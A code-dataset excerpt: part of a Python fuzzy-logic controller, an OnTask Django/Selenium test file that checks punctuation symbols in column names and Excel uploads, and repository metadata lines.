dz4 = max(dz4, 0.0) dz5 = max(min(dz5, 1.0), 0.0) r1 = min(z1, dz1) r2 = min(z1, dz2) r3 = min(z1, dz3) r4 = min(z1, dz4) r5 = min(z1, dz5) r6 = min(z2, dz1) r7 = min(z2, dz2) r8 = min(z2, dz3) r9 = min(z2, dz4) r10 = min(z2, dz5) r11 = min(z3, dz1) r12 = min(z3, dz2) r13 = min(z3, dz3) r14 = min(z3, dz4) r15 = min(z3, dz5) r16 = min(z4, dz1) r17 = min(z4, dz2) r18 = min(z4, dz3) r19 = min(z4, dz4) r20 = min(z4, dz5) r21 = min(z5, dz1) r22 = min(z5, dz2) r23 = min(z5, dz3) r24 = min(z5, dz4) r25 = min(z5, dz5) r0 = r1 + r2 + r3 + r4 + r5 + r6 + r7 + r8 + r9 + r10 + r11 + r12 + r13 + r14 + r15 + r16 + r17 + r18 + r19 + r20 + r21 + r22 + r23 + r24 + r25 # Outputs are 9 sections ratio = math.sqrt(2) zdzoutput = (4.0 * (r1 + r2) + 2.0 * ratio * (r6) + 2.0 * (r3 + r7 + r11) + ratio * (r8 + r9 + r12) + 1.0 * (r4 + r13) + 1 / ratio * (r5 + r16) + 0.5 * (r10 + r14 + r17 + r18) + 0.5 * ratio * (r15 + r19 + r21 + r22 + r23) + 0.25 * (r20 + r24 + r25)) / (4.0 * r0) return zdzoutput # def fuzzy_zdz(z, dz): # # secnum = 4 # dz_max = 1.5 # everysecdz = dz_max / secnum # secdz1 = everysecdz # secdz2 = 2 * everysecdz # secdz3 = 3 * everysecdz # # z_max = 100 # everysecz = z_max / secnum # secz1 = everysecz # secz2 = 2 * everysecz # secz3 = 3 * everysecz # # z1 = 1 - z / everysecz # z2 = 1 - abs((z - secz1) / everysecz) # z3 = 1 - abs((z - secz2) / everysecz) # z4 = 1 - abs((z - secz3) / everysecz) # z5 = (z - secz3) / everysecz # # z1 = max(min(z1, 1.0), 0.0) # z2 = max(z2, 0.0) # z3 = max(z3, 0.0) # z4 = max(z4, 0.0) # z5 = max(min(z5, 1.0), 0.0) # # dz1 = 1 - dz / everysecdz # dz2 = 1 - abs((dz - secdz1) / everysecdz) # dz3 = 1 - abs((dz - secdz2) / everysecdz) # dz4 = 1 - abs((dz - secdz3) / everysecdz) # dz5 = (dz - secdz3) / everysecdz # # dz1 = max(min(dz1, 1.0), 0.0) # dz2 = max(dz2, 0.0) # dz3 = max(dz3, 0.0) # dz4 = max(dz4, 0.0) # dz5 = max(min(dz5, 1.0), 0.0) # # r1 = min(z1, dz1) # r2 = min(z1, dz2) # r3 = min(z1, dz3) # r4 = min(z1, dz4) # r5 = min(z1, dz5) # r6 = min(z2, dz1) # r7 = min(z2, dz2) # r8 = min(z2, dz3) # r9 = min(z2, dz4) # r10 = min(z2, dz5) # r11 = min(z3, dz1) # r12 = min(z3, dz2) # r13 = min(z3, dz3) # r14 = min(z3, dz4) # r15 = min(z3, dz5) # r16 = min(z4, dz1) # r17 = min(z4, dz2) # r18 = min(z4, dz3) # r19 = min(z4, dz4) # r20 = min(z4, dz5) # r21 = min(z5, dz1) # r22 = min(z5, dz2) # r23 = min(z5, dz3) # r24 = min(z5, dz4) # r25 = min(z5, dz5) # r0 = r1 + r2 + r3 + r4 + r5 + r6 + r7 + r8 + r9 + r10 + r11 + r12 + r13 + r14 + r15 + r16 + r17 + r18 + r19 + r20 + r21 + r22 + r23 + r24 + r25 # # # Outputs are 9 sections # ratio = math.sqrt(2) # zdzoutput = (4.0 * (r1 + r2) + 2.0 * ratio * (r6) + 2.0 * (r3 + r7 + r11) + ratio * (r8 + r9 + r12) + # 1.0 * (r4 + r13) + 1 / ratio * (r5 + r16) + 0.5 * (r10 + r14 + r17 + r18) + 0.5 * ratio * (r15 + r19 + r21 + r22 + r23) # + 0.25 * (r20 + r24 + r25)) / (-4.0 * r0) # # return zdzoutput # def fuzzy_mf(m, f): # # secnum = 4 # moment_max = 2 # everysecm = moment_max / secnum # secm1 = everysecm # secm2 = 2 * everysecm # secm3 = 3 * everysecm # # force_max = 20 # everysecf = force_max / secnum # secf1 = everysecf # secf2 = 2 * everysecf # secf3 = 3 * everysecf # # """""" # m1 = (m - secm3) / everysecm # m2 = 1 - abs(m - secm3) /everysecm # m3 = 1 - abs(m - secm2) / everysecm # m4 = 1 - abs(m - secm1) / everysecm # m5 = 1 - (m - secm1) / everysecm # # m1 = max(min(m1, 1.0), 0.0) # m2 = max(m2, 0.0) # m3 = max(m3, 0.0) # m4 = max(m4, 0.0) # m5 = max(min(m5, 1.0), 0.0) # # """""" # f1 = (f - secf3) / everysecf # f2 = 1 - abs(f - secf3) / everysecf # f3 = 1 - abs(f - secf2) / everysecf # f4 = 1 - abs(f - secf1) / everysecf # f5 = 1 - (f - secf1) / everysecf # # f1 = max(min(f1, 1.0), 0.0) # f2 = max(f2, 0.0) # f3 = max(f3, 0.0) # f4 = max(f4, 0.0) # f5 = max(min(f5, 1.0), 0.0) # # #Fuzzy rules # r1 = min(m1, f1) # r2 = min(m1, f2) # r3 = min(m1, f3) # r4 = min(m1, f4) # r5 = min(m1, f5) # r6 = min(m2, f1) # r7 = min(m2, f2) # r8 = min(m2, f3) # r9 = min(m2, f4) # r10 = min(m2, f5) # r11 = min(m3, f1) # r12 = min(m3, f2) # r13 = min(m3, f3) # r14 = min(m3, f4) # r15 = min(m3, f5) # r16 = min(m4, f1) # r17 = min(m4, f2) # r18 = min(m4, f3) # r19 = min(m4, f4) # r20 = min(m4, f5) # r21 = min(m5, f1) # r22 = min(m5, f2) # r23 = min(m5, f3) # r24 = min(m5, f4) # r25 = min(m5, f5) # # # Outputs are 9 sections # ratio = math.sqrt(2) # r0 = r1 + r2 + r3 + r4 + r5 + r6 + r7 + r8 + r9 + r10 + r11 + r12 + r13 + r14 + r15 + r16 + r17 + r18 + r19 + r20 + r21 + r22 + r23 + r24 + r25 # mfoutput = (4.0 * (r1 + r2 + r6) + 2.0 * ratio * (r3 + r7 + r8) + 2.0 * (r4 + r9 + r11) + ratio * (r5 + r10 + r12) + # 1.0 * (r13 + r16) + 1 / ratio * (r14 + r17 + r21 + r22) + 0.5 * (r15 + r18) + 0.5 * ratio * (r19 + r20 + r23) # + 0.25 * (r24 + r25)) / (-4 * r0) # # return mfoutput def fuzzy_mf(f, m): secnum = 4 moment_max = 1.5 everysecm = moment_max / secnum secm1 = everysecm secm2 = 2 * everysecm secm3 = 3 * everysecm force_max = 80 everysecf = force_max / secnum secf1 = everysecf secf2 = 2 * everysecf secf3 = 3 * everysecf """""" m1 = (m - secm3) / everysecm m2 = 1 - abs(m - secm3) /everysecm m3 = 1 - abs(m - secm2) / everysecm m4 = 1 - abs(m - secm1) / everysecm m5 = 1 - (m - secm1) / everysecm m1 = max(min(m1, 1.0), 0.0) m2 = max(m2, 0.0) m3 = max(m3, 0.0) m4 = max(m4, 0.0) m5 = max(min(m5, 1.0), 0.0) """""" f1 = (f - secf3) / everysecf f2 = 1 - abs(f - secf3) / everysecf f3 = 1 - abs(f - secf2) / everysecf f4 = 1 - abs(f - secf1) / everysecf f5 = 1 - (f - secf1) / everysecf f1 = max(min(f1, 1.0), 0.0) f2 = max(f2, 0.0) f3 = max(f3, 0.0) f4 = max(f4, 0.0) f5 = max(min(f5, 1.0), 0.0) #Fuzzy rules r1 = min(m1, f1) r2 = min(m1, f2) r3 = min(m1, f3) r4 = min(m1, f4) r5 = min(m1, f5) r6 = min(m2, f1) r7 = min(m2, f2) r8 = min(m2, f3) r9 = min(m2, f4) r10 = min(m2, f5) r11 = min(m3, f1) r12 = min(m3, f2) r13 = min(m3, f3) r14 = min(m3, f4) r15 = min(m3, f5) r16 = min(m4, f1) r17 = min(m4, f2) r18 = min(m4, f3) r19 = min(m4, f4) r20 = min(m4, f5) r21 = min(m5, f1) r22 = min(m5, f2) r23 = min(m5, f3) r24 = min(m5, f4) r25 = min(m5, f5) # Outputs are 9 sections ratio = math.sqrt(2) r0 = r1 + r2 + r3 + r4 + r5 + r6 + r7 + r8 + r9 + r10 + r11 + r12 + r13 + r14 + r15 + r16 + r17 + r18 + r19 + r20 + r21 + r22 + r23 + r24 + r25 mfoutput = (4.0 * (r1 + r2 + r6) + 2.0 * ratio * (r3 + r7 + r8) + 2.0 * (r4 + r9 + r11) + ratio * (r5 + r10 + r12) + 1.0 * (r13 + r16) + 1 / ratio * (r14 + r17 + r21 + r22) + 0.5 * (r15 + r18) + 0.5 * ratio * (r19 + r20 + r23) + 0.25 * (r24 + r25)) / (4 * r0) return mfoutput def fuzzy_C2(mf, zdz): secnum = 4 mf_max = 1 everysecmf = mf_max / secnum secmf1 = everysecmf secmf2 = 2 * everysecmf secmf3 = 3 * everysecmf mf1 = 1 - mf / everysecmf mf2 = 1 - abs(mf - secmf1) / everysecmf mf3 = 1 - abs(mf - secmf2) / everysecmf mf4 = 1 - abs(mf - secmf3) / everysecmf mf5 = (mf - secmf3) / everysecmf zdz_max = 1 everyseczdz = zdz_max / secnum seczdz1 = everyseczdz seczdz2 = 2 * everyseczdz seczdz3 = 3 * everyseczdz zdz1 = 1 - zdz / everyseczdz zdz2 = 1 - abs(zdz - seczdz1) / everyseczdz zdz3 = 1 - abs(zdz - seczdz2) / everyseczdz zdz4 = 1 - abs(zdz - seczdz3) / everyseczdz zdz5 = (zdz - seczdz3) / everyseczdz mf1 = max(min(mf1, 1.0), 0.0) mf2 = max(min(mf2, 1.0), 0.0) mf3 = max(min(mf3, 1.0), 0.0) mf4 = max(min(mf4, 1.0), 0.0) mf5 = max(min(mf5, 1.0), 0.0) zdz1 = max(min(zdz1, 1.0), 0.0) zdz2 = max(min(zdz2, 1.0), 0.0) zdz3 = max(min(zdz3, 1.0), 0.0) zdz4 = max(min(zdz4, 1.0), 0.0) zdz5 = max(min(zdz5, 1.0), 0.0) r1 = min(mf1, zdz1) r2 = min(mf1, zdz2) r3 = min(mf1, zdz3) r4 = min(mf1, zdz4) r5 = min(mf1, zdz5) r6 = min(mf2, zdz1) r7 = min(mf2, zdz2) r8 = min(mf2, zdz3) r9 = min(mf2, zdz4) r10 = min(mf2, zdz5) r11 = min(mf3, zdz1) r12 = min(mf3, zdz2) r13 = min(mf3, zdz3) r14 = min(mf3, zdz4) r15 = min(mf3, zdz5) r16 = min(mf4, zdz1) r17 = min(mf4, zdz2) r18 = min(mf4, zdz3) r19 = min(mf4, zdz4) r20 = min(mf4, zdz5) r21 = min(mf5, zdz1) r22 = min(mf5, zdz2) r23 = min(mf5, zdz3) r24 = min(mf5, zdz4) r25 = min(mf5, zdz5) r0 = r1+r2+r3+r4+r5+r6+r7+r8+r9+r10+r11+r12+r13+r14+r15+r16+r17+r18+r19+r20+r21+r22+r23+r24+r25 output = (0.33*(r1+r6)+0.48*(r2+r7+r11+r16)+0.69*(r3+r12+r17+r21) +1*(r4+r8+r9+r13+r22)+1.44*(r5+r10+r14+r18+r23)+2.07*(r15+r19+r24)+3*(r20+r25))/(-3*r0) return output

29.333333

149

0.451546

2,900

17,336

2.674138

0.054483

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a1a5a74e7558fb50e855de2f189bbf60a3c5ed43

25,562

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Python

src/dataops/tests/test_views.py

uts-cic/ontask_b

b313e2352c77b40655f41dd5acba3a7635e6f3b3

[ "MIT" ]

null

src/dataops/tests/test_views.py

uts-cic/ontask_b

b313e2352c77b40655f41dd5acba3a7635e6f3b3

[ "MIT" ]

null

src/dataops/tests/test_views.py

uts-cic/ontask_b

b313e2352c77b40655f41dd5acba3a7635e6f3b3

[ "MIT" ]

null

# -*- coding: utf-8 -*- from __future__ import unicode_literals, print_function import os from django.conf import settings from django.shortcuts import reverse from django.utils.html import escape from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.select import Select from selenium.webdriver.support.ui import WebDriverWait import test from dataops import pandas_db from workflow.models import Workflow class DataopsSymbols(test.OntaskLiveTestCase): fixtures = ['wflow_symbols'] filename = os.path.join( settings.BASE_DIR(), 'dataops', 'fixtures', 'wflow_symbols_df.sql' ) def setUp(self): super(DataopsSymbols, self).setUp() pandas_db.pg_restore_table(self.filename) def tearDown(self): pandas_db.delete_all_tables() super(DataopsSymbols, self).tearDown() def test_01_symbols(self): symbols = '!#$%&()*+,-./:;<=>?@[\]^_`{|}~' # Login self.login('instructor1@bogus.com') self.open(reverse('workflow:index')) # GO TO THE WORKFLOW PAGE WebDriverWait(self.selenium, 10).until( EC.title_is('OnTask :: Workflows')) self.assertIn('New Workflow', self.selenium.page_source) self.assertIn('Import', self.selenium.page_source) # Open the workflow wf_link = self.selenium.find_element_by_link_text('sss') wf_link.click() # Wait for the table to be refreshed WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'column-table_previous')) ) # Edit the name column self.selenium.find_element_by_xpath( "//table[@id='column-table']/tbody/tr[4]/td[4]/div/button" ).click() self.selenium.find_element_by_xpath( "//table[@id='column-table']/tbody/tr[4]/td[4]/div/ul/li[1]/button" ).click() WebDriverWait(self.selenium, 10).until( EC.visibility_of_element_located((By.ID, 'id_name')) ) # Replace name by symbols self.selenium.find_element_by_id("id_name").click() self.selenium.find_element_by_id("id_name").clear() self.selenium.find_element_by_id("id_name").send_keys(symbols) # Click in the submit/save button self.selenium.find_element_by_xpath("//button[@type='submit']").click() # MODAL WAITING WebDriverWait(self.selenium, 10).until_not( EC.presence_of_element_located( (By.CLASS_NAME, 'modal-open') ) ) # Wait for the table to be refreshed WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'column-table_previous')) ) # Click in the New Column button self.selenium.find_element_by_class_name( 'js-workflow-column-add' ).click() WebDriverWait(self.selenium, 10).until( EC.text_to_be_present_in_element( (By.XPATH, "//div[@id='modal-item']/div/div/form/div/h4"), 'Add column') ) # Set name to symbols (new column) and type to string self.selenium.find_element_by_id("id_name").click() self.selenium.find_element_by_id("id_name").clear() self.selenium.find_element_by_id("id_name").send_keys(symbols) self.selenium.find_element_by_id("id_data_type").click() Select(self.selenium.find_element_by_id( "id_data_type" )).select_by_visible_text("string") # Save the new column self.selenium.find_element_by_xpath("//button[@type='submit']").click() # There should be a message saying that the name of this column already # exists self.assertIn('There is a column already with this name', self.selenium.page_source) # Click again in the name and introduce something different self.selenium.find_element_by_id("id_name").click() self.selenium.find_element_by_id("id_name").clear() self.selenium.find_element_by_id("id_name").send_keys(symbols + '2') # Save the new column self.selenium.find_element_by_xpath("//button[@type='submit']").click() self.wait_close_modal_refresh_table('column-table_previous') # Click in the attributes section self.selenium.find_element_by_xpath( "//div[@id='workflow-area']/div/button[3]" ).click() self.selenium.find_element_by_link_text('Attributes').click() WebDriverWait(self.selenium, 10).until( EC.element_to_be_clickable((By.CLASS_NAME, 'js-attribute-create')) ) # Delete the existing one and confirm deletion self.selenium.find_element_by_xpath( "//table[@id='attribute-table']/tbody/tr/td[3]/button[2]" ).click() # Wait for the delete confirmation frame WebDriverWait(self.selenium, 10).until( EC.text_to_be_present_in_element((By.CLASS_NAME, 'modal-title'), 'Confirm attribute deletion') ) # Click in the delete confirm button self.selenium.find_element_by_xpath( "//div[@class='modal-footer']/button[2]" ).click() # MODAL WAITING WebDriverWait(self.selenium, 10).until_not( EC.presence_of_element_located( (By.CLASS_NAME, 'modal-open') ) ) # Add a new attribute and insert key (symbols) and value self.selenium.find_element_by_xpath( "(//button[@type='button'])[2]").click() WebDriverWait(self.selenium, 10).until( EC.text_to_be_present_in_element( (By.XPATH, "//div[@id='modal-item']/div/div/form/div/h4"), 'Create attribute') ) # Add key and value self.selenium.find_element_by_id("id_key").click() self.selenium.find_element_by_id("id_key").clear() self.selenium.find_element_by_id("id_key").send_keys(symbols + '3') self.selenium.find_element_by_id("id_value").click() self.selenium.find_element_by_id("id_value").clear() self.selenium.find_element_by_id("id_value").send_keys("vvv") # Submit new attribute self.selenium.find_element_by_xpath( "//div[@class='modal-footer']/button[2]" ).click() # MODAL WAITING WebDriverWait(self.selenium, 10).until_not( EC.presence_of_element_located( (By.CLASS_NAME, 'modal-open') ) ) # Save and close the attribute page self.selenium.find_element_by_link_text('Back').click() # Click in the TABLE link self.selenium.find_element_by_link_text("Table").click() # Wait for paging widget WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'table-data_previous')) ) # Verify that everything appears normally self.assertIn(escape(symbols), self.selenium.page_source) self.assertIn(escape(symbols + '2'), self.selenium.page_source) # Click in the Actions navigation menu self.selenium.find_element_by_link_text("Actions").click() # Edit the action-in self.selenium.find_element_by_link_text("Edit").click() # Set the right columns to process self.selenium.find_element_by_css_selector( "div.sol-input-container > input[type=\"text\"]" ).click() # self.selenium.find_element_by_name("columns").click() self.selenium.find_element_by_xpath( "(//input[@name='columns'])[2]" ).click() self.selenium.find_element_by_xpath( "(//input[@name='columns'])[4]" ).click() self.selenium.find_element_by_xpath( "(//input[@name='columns'])[5]" ).click() self.selenium.find_element_by_css_selector( "div.container-fluid" ).click() # Submit the new action in self.selenium.find_element_by_xpath( "(//button[@name='Submit'])[2]").click() # Wait for paging widget WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'action-table_previous')) ) # Click in the RUN link of the action in self.selenium.find_element_by_link_text("Run").click() # Wait for paging widget WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'actioninrun-data_previous')) ) # Enter data using the RUN menu. Select one entry to populate self.selenium.find_element_by_link_text("1").click() self.selenium.find_element_by_id("id____ontask___select_1").click() self.selenium.find_element_by_id("id____ontask___select_1").clear() self.selenium.find_element_by_id("id____ontask___select_1").send_keys( "Carmelo Coton2") self.selenium.find_element_by_id("id____ontask___select_2").click() self.selenium.find_element_by_id("id____ontask___select_2").clear() self.selenium.find_element_by_id("id____ontask___select_2").send_keys( "xxx" ) # Submit the data for one entry self.selenium.find_element_by_xpath( "//body/div[3]/div/form/button[1]/span").click() # Wait for paging widget WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'actioninrun-data_previous')) ) # Go Back to the action table self.selenium.find_element_by_xpath( "(//button[@type='button'])[2]").click() # Wait for paging widget WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'action-table_previous')) ) # Edit the action out self.selenium.find_element_by_xpath( "//table[@id='action-table']/tbody/tr[2]/td[5]/div/a").click() # Insert attribute self.selenium.find_element_by_id("select-attribute-name").click() Select(self.selenium.find_element_by_id( "select-attribute-name")).select_by_visible_text("-----") # Insert column name self.selenium.find_element_by_id("select-column-name").click() Select(self.selenium.find_element_by_id( "select-column-name")).select_by_visible_text(symbols) # Insert second column name self.selenium.find_element_by_id("select-column-name").click() Select(self.selenium.find_element_by_id( "select-column-name")).select_by_visible_text(symbols + '2') # Create new condition self.selenium.find_element_by_xpath( "(//button[@type='button'])[3]").click() WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'id_description_text'))) # Set the values of the condition self.selenium.find_element_by_id("id_name").click() self.selenium.find_element_by_id("id_name").clear() self.selenium.find_element_by_id("id_name").send_keys(symbols + "4") self.selenium.find_element_by_id("id_description_text").click() self.selenium.find_element_by_name("builder_rule_0_filter").click() Select(self.selenium.find_element_by_name( "builder_rule_0_filter")).select_by_visible_text(symbols) self.selenium.find_element_by_name("builder_rule_0_operator").click() Select(self.selenium.find_element_by_name( "builder_rule_0_operator")).select_by_visible_text( "begins with") self.selenium.find_element_by_name("builder_rule_0_value_0").click() self.selenium.find_element_by_name("builder_rule_0_value_0").clear() self.selenium.find_element_by_name("builder_rule_0_value_0").send_keys( "C") # Save the condition self.selenium.find_element_by_xpath( "(//button[@type='submit'])[3]").click() WebDriverWait(self.selenium, 10).until_not( EC.presence_of_element_located( (By.CLASS_NAME, 'modal-open') ) ) # Create a filter self.selenium.find_element_by_xpath( "(//button[@type='button'])[2]").click() WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'id_description_text'))) # Fill in the details self.selenium.find_element_by_id("id_name").click() self.selenium.find_element_by_id("id_name").clear() self.selenium.find_element_by_id("id_name").send_keys(symbols) self.selenium.find_element_by_name("builder_rule_0_filter").click() Select(self.selenium.find_element_by_name( "builder_rule_0_filter")).select_by_visible_text(symbols) self.selenium.find_element_by_name("builder_rule_0_operator").click() Select(self.selenium.find_element_by_name( "builder_rule_0_operator")).select_by_visible_text( "doesn't begin with") self.selenium.find_element_by_name("builder_rule_0_value_0").click() self.selenium.find_element_by_name("builder_rule_0_value_0").clear() self.selenium.find_element_by_name("builder_rule_0_value_0").send_keys( "x") # Save the filter self.selenium.find_element_by_xpath( "(//button[@type='submit'])[3]").click() WebDriverWait(self.selenium, 10).until_not( EC.presence_of_element_located( (By.CLASS_NAME, 'modal-open') ) ) # Click the preview button self.selenium.find_element_by_xpath( "//div[@id='html-editor']/form/div[3]/button").click() WebDriverWait(self.selenium, 10).until( EC.element_to_be_clickable((By.CLASS_NAME, 'js-action-preview-nxt')) ) # Certain name should be in the page now. self.assertIn('Carmelo Coton', self.selenium.page_source) # Click in the "Close" button self.selenium.find_element_by_xpath( "//div[@id='modal-item']/div/div/div/div[2]/button[2]").click() # End of session self.logout() def test_02_symbols(self): symbols = '!#$%&()*+,-./:;<=>?@[\]^_`{|}~' # Login self.login('instructor1@bogus.com') self.open(reverse('workflow:index')) # GO TO THE WORKFLOW PAGE WebDriverWait(self.selenium, 10).until( EC.title_is('OnTask :: Workflows')) self.assertIn('New Workflow', self.selenium.page_source) self.assertIn('Import', self.selenium.page_source) # Open the workflow wf_link = self.selenium.find_element_by_link_text('sss') wf_link.click() WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'column-table_previous')) ) # Select the email column and click in the edit button self.selenium.find_element_by_xpath( "//table[@id='column-table']/tbody/tr[1]/td[4]/div/button" ).click() self.selenium.find_element_by_xpath( "//table[@id='column-table']/tbody/tr[1]/td[4]/div/ul/li[1]/button" ).click() # Wait for the form to create the derived column WebDriverWait(self.selenium, 10).until( EC.text_to_be_present_in_element( (By.XPATH, "//div[@id='modal-item']/div/div/form/div/h4"), 'Edit column') ) # Append symbols to the name self.selenium.find_element_by_id("id_name").click() self.selenium.find_element_by_id("id_name").send_keys(symbols) # Save column information self.selenium.find_element_by_xpath("//button[@type='submit']").click() self.wait_close_modal_refresh_table('column-table_previous') # Select the age column and click in the edit button self.selenium.find_element_by_xpath( "//table[@id='column-table']/tbody/tr[3]/td[4]/div/button" ).click() self.selenium.find_element_by_xpath( "//table[@id='column-table']/tbody/tr[3]/td[4]/div/ul/li[1]/button" ).click() # Append symbols to the name self.selenium.find_element_by_id("id_name").click() self.selenium.find_element_by_id("id_name").send_keys(symbols) # Save column information self.selenium.find_element_by_xpath("//button[@type='submit']").click() self.wait_close_modal_refresh_table('column-table_previous') # Go to the table link self.selenium.find_element_by_link_text("Table").click() WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'table-data_previous')) ) # Verify that everything appears normally self.assertIn(escape(symbols), self.selenium.page_source) self.assertIn('<td class=" dt-center">12</td>', self.selenium.page_source) self.assertIn('<td class=" dt-center">12.1</td>', self.selenium.page_source) self.assertIn('<td class=" dt-center">13.2</td>', self.selenium.page_source) # Go to the actions page self.selenium.find_element_by_link_text("Actions").click() WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'action-table_previous')) ) # Edit the action-in at the top of the table self.selenium.find_element_by_link_text("Edit").click() # Set the correct values for an action-in self.selenium.find_element_by_css_selector( "div.sol-input-container > input[type=\"text\"]" ).click() self.selenium.find_element_by_xpath( "(//input[@name='columns'])[4]" ).click() self.selenium.find_element_by_xpath( "(//input[@name='columns'])[1]" ).click() self.selenium.find_element_by_css_selector( "div.sol-current-selection" ).click() self.selenium.find_element_by_xpath( "(//button[@name='Submit'])[2]" ).click() self.wait_close_modal_refresh_table('action-table_previous') # Click in the run link self.selenium.find_element_by_link_text("Run").click() # Wait for paging widget WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'actioninrun-data_previous')) ) # Click on the first value self.selenium.find_element_by_link_text("student1@bogus.com").click() # Modify the value of the column self.selenium.find_element_by_id("id____ontask___select_1").click() self.selenium.find_element_by_id("id____ontask___select_1").clear() self.selenium.find_element_by_id("id____ontask___select_1").send_keys( "14" ) # Submit changes to the first element self.selenium.find_element_by_xpath( "(//button[@name='submit'])[2]" ).click() WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'actioninrun-data_previous')) ) # Click on the second value self.selenium.find_element_by_link_text("student2@bogus.com").click() # Modify the value of the column self.selenium.find_element_by_id("id____ontask___select_1").clear() self.selenium.find_element_by_id( "id____ontask___select_1" ).send_keys("15") # Submit changes to the second element self.selenium.find_element_by_xpath( "(//button[@name='submit'])[2]" ).click() WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'actioninrun-data_previous')) ) # Click on the third value self.selenium.find_element_by_link_text("student3@bogus.com").click() # Modify the value of the column self.selenium.find_element_by_id("id____ontask___select_1").click() self.selenium.find_element_by_id("id____ontask___select_1").clear() self.selenium.find_element_by_id( "id____ontask___select_1" ).send_keys("16") # Submit changes to the second element self.selenium.find_element_by_xpath( "(//button[@name='submit'])[2]" ).click() WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'actioninrun-data_previous')) ) # Click in the back link! self.selenium.find_element_by_xpath( "(//button[@type='button'])[2]" ).click() # Wait for page to refresh WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'action-table_previous')) ) # Go to the table page self.selenium.find_element_by_link_text("Table").click() # Wait for paging widget WebDriverWait(self.selenium, 10).until( EC.presence_of_element_located((By.ID, 'table-data_previous')) ) # Assert the new values self.assertIn('<td class=" dt-center">14</td>', self.selenium.page_source) self.assertIn('<td class=" dt-center">15</td>', self.selenium.page_source) self.assertIn('<td class=" dt-center">16</td>', self.selenium.page_source) # End of session self.logout() class DataopsExcelUpload(test.OntaskLiveTestCase): fixtures = ['empty_wflow'] def tearDown(self): pandas_db.delete_all_tables() super(DataopsExcelUpload, self).tearDown() def test_01_excelupload(self): # Login self.login('instructor1@bogus.com') self.open(reverse('workflow:index')) # GO TO THE WORKFLOW PAGE WebDriverWait(self.selenium, 10).until( EC.title_is('OnTask :: Workflows')) self.assertIn('New Workflow', self.selenium.page_source) self.assertIn('Import', self.selenium.page_source) # Open the workflow wf_link = self.selenium.find_element_by_link_text('wflow1') wf_link.click() self.selenium.find_element_by_link_text("Dataops").click() self.selenium.find_element_by_link_text("Excel Upload/Merge").click() self.selenium.find_element_by_id("id_file").send_keys( os.path.join(settings.BASE_DIR(), 'dataops', 'fixtures', 'excel_upload.xlsx') ) self.selenium.find_element_by_id("id_sheet").click() self.selenium.find_element_by_id("id_sheet").clear() self.selenium.find_element_by_id("id_sheet").send_keys("results") self.selenium.find_element_by_name("Submit").click() WebDriverWait(self.selenium, 10).until( EC.element_to_be_clickable( (By.ID, 'checkAll')) ) self.selenium.find_element_by_id("checkAll").click() self.selenium.find_element_by_name("Submit").click() # The number of rows must be 29 wflow = Workflow.objects.all()[0] self.assertEqual(wflow.nrows, 29) self.assertEqual(wflow.ncols, 14) # End of session self.logout() class DataopsExcelUploadSheet(test.OntaskLiveTestCase): fixtures = ['empty_wflow'] def tearDown(self): pandas_db.delete_all_tables() super(DataopsExcelUploadSheet, self).tearDown() def test_01_excelupload_sheet(self): # Login self.login('instructor1@bogus.com') self.open(reverse('workflow:index')) # GO TO THE WORKFLOW PAGE WebDriverWait(self.selenium, 10).until( EC.title_is('OnTask :: Workflows')) self.assertIn('New Workflow', self.selenium.page_source) self.assertIn('Import', self.selenium.page_source) # Open the workflow wf_link = self.selenium.find_element_by_link_text('wflow1') wf_link.click() self.selenium.find_element_by_link_text("Dataops").click() self.selenium.find_element_by_link_text("Excel Upload/Merge").click() self.selenium.find_element_by_id("id_file").send_keys( os.path.join(settings.BASE_DIR(), 'dataops', 'fixtures', 'excel_upload.xlsx') ) self.selenium.find_element_by_id("id_sheet").click() self.selenium.find_element_by_id("id_sheet").clear() self.selenium.find_element_by_id("id_sheet").send_keys("second sheet") self.selenium.find_element_by_name("Submit").click() WebDriverWait(self.selenium, 10).until( EC.element_to_be_clickable( (By.ID, 'checkAll')) ) self.selenium.find_element_by_id("checkAll").click() self.selenium.find_element_by_name("Submit").click() WebDriverWait(self.selenium, 10).until( EC.element_to_be_clickable( (By.LINK_TEXT, 'Excel Upload/Merge')) ) # The number of rows must be 19 wflow = Workflow.objects.all()[0] self.assertEqual(wflow.nrows, 19) self.assertEqual(wflow.ncols, 14) # End of session self.logout()

39.326154

80

0.627064

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25,562

4.759218

0.087299

0.156546

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25,562

649

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null

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null

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62b349566b0b4efa331e6ff59c8728223d0e6da9

37,659

py

Python

tb/test_ip_eth_rx_64.py

junganghu/verilog-ethernet

cd6b87e984ff7cbeaf11f9468124019f5e654bdb

[ "MIT" ]

1

2021-04-29T08:37:07.000Z

tb/test_ip_eth_rx_64.py

zslwyuan/verilog-ethernet

cd6b87e984ff7cbeaf11f9468124019f5e654bdb

[ "MIT" ]

null

tb/test_ip_eth_rx_64.py

zslwyuan/verilog-ethernet

cd6b87e984ff7cbeaf11f9468124019f5e654bdb

[ "MIT" ]

1

2021-09-25T05:45:18.000Z

